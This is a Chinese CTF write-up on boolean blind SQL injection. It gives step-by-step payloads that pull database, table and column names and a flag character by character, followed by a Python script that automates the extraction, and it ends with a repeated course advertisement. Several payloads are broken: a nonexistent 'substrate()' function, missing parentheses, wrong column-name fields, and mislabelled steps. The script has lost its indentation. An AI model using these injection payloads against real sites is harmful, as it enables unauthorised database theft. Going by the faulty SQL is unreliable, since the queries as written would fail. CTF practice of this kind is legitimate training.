布尔盲注的条件: ?id=1’ and 1=1–+ 真页面true
?id=1’ and 1=2–+ 假页面false
# substr(database(),1,1):表示从数据库的第1个字母开始,显示1个字母,从1开始计数
# limit 0,1:表示从第0行开始,显示1行,从0开始计数
一、手动注入
一般顺序:
爆数据库名长度
根据库名长度爆库名
爆数据表数量
爆数据表名长度
根据表名长度爆表名
根据flag表爆数据列数量
爆数据列名长度
根据列名长度爆列名
根据列名爆数据值
1. 爆数据库名长度
?id=1 and length(database())>=5
#返回假值
?id=1 and length(database())>=4
#返回真值
#库名长度为4
2. 根据库名长度爆库名
使用substrate()函数逐个猜数据库名
?id=1 and substr(database(),1,1)=‘a’
#query_error
#库名第一个字符不是a
...
?id=1 and substr(database(),1,1)=‘s’
#query_success
#库名第一个字符是s
?id=1 and substr(database(),2,1)=‘q’
#query_success
#库名第一个字符是q
?id=1 and substr(database(),3,1)=‘l’
#query_success
#库名第一个字符是l
?id=1 and substr(database(),4,1)=‘i’
#query_success
#库名第四个字符是i
#库名是sqli
3. 爆数据表数量
使用mysql的查询语句select COUNT(*)
。从1开始试错
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())>=2
#query_success
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())>=3
#query_error
#当前库sqli有2张表
4.爆数据表名长度
使用 limit 0,1(第一张表),limit 1,1(第二张表)… …
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)>=5
#query_error
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)>=4
#query_success
#当前库sqli的第一张表表名长度为4
...
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)>=4
#query_success
#当前库sqli的第二张表表名长度为4
5.根据表名长度爆表名
直接看数据表的最后一个字符,可快速确定“flag”中的“g”;若有其他情况则酌情往前爆字符。
(也可逐个)
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)=‘s’
#query_success
#当前库sqli的第一张表表名第四个字符是s
...
?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’
#query_success
#当前库sqli的第二张表表名的第四个字符是g
#当前库sqli有两张表'news'和'flag'
6.根据flag表爆数据列数量
使用mysql的查询语句select COUNT(*)。
(已知第二个表为’flag’,只对其进行分析)
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)>=2
#query_success
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)>=3
#query_error
#当前库sqli表flag的列数为2
7.爆数据列名长度
使用 limit 0,1(第一列),limit 1,1(第二列)… …
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)>=3
#query_error
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)>=2
#query_success
#当前库sqli表flag的第一列列名长度为2
...
?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)>=4
#query_success
#当前库sqli表flag的第二列列名长度为4
8.根据列名长度爆列名
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’
#query_error
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’
#query_success
#当前库sqli表flag的第一列列名第一个字符为i
...
?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’
#query_success
#当前库sqli表flag的第二列列名第四个字符为g
#当前库sqli表flag有两个列‘id’和‘flag’
9.根据列名爆数据值
(从第二列’flag’)一个一个尝试特别麻烦
?id=1 and substr((select flag from sqli.flag),1,1)=“a”
#query_error
...
?id=1 and substr((select flag from sqli.flag),1,1)=“c”
#query_success
#flag的第一个字符是c
...
?id=1 and substr((select flag from sqli.flag),1,1)=“}”
#query_success
#flag的最后一个字符是}
于是本题可使用python脚本
#导入库
import requests
#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!
url = 'http://challenge-9e60bb79512ae37b.sandbox.ctfhub.com:10080/'
#作为盲注成功的标记,成功页面会显示query_success
success_mark = "query_success"
#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母
ascii_range = range(ord('a'),1+ord('z'))
#flag的字符范围列表,包括花括号、a-z,数字0-9
str_range = [123,125] + list(ascii_range) + list(range(48,58))
#对指定库指定表指定列爆数据(flag)
def getData(database,table,column,str_list):
#初始化flag长度为1
j = 1
#j从1开始,无限循环flag长度
while True:
#flag中每一个字符的所有可能取值
for i in str_list:
new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i))
r = requests.get(new_url)
#如果返回的页面有query_success,即盲猜成功,跳过余下的for循环
if success_mark in r.text:
#显示flag
print(chr(i),end="")
#flag的终止条件,即flag的尾端右花括号
if chr(i) == "}":
print()
return 1
break
#如果没有匹配成功,flag长度+1接着循环
j = j + 1
以上步骤均可使用python脚本注入,参考以下文章
二、使用python脚本注入
数据表名选择 flag
数据列名选择flag
得到flag
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数Python工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年Python开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注:Python)
nvert/6c361282296f86381401c05e862fe4e9.png)
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以扫码获取!!!(备注:Python)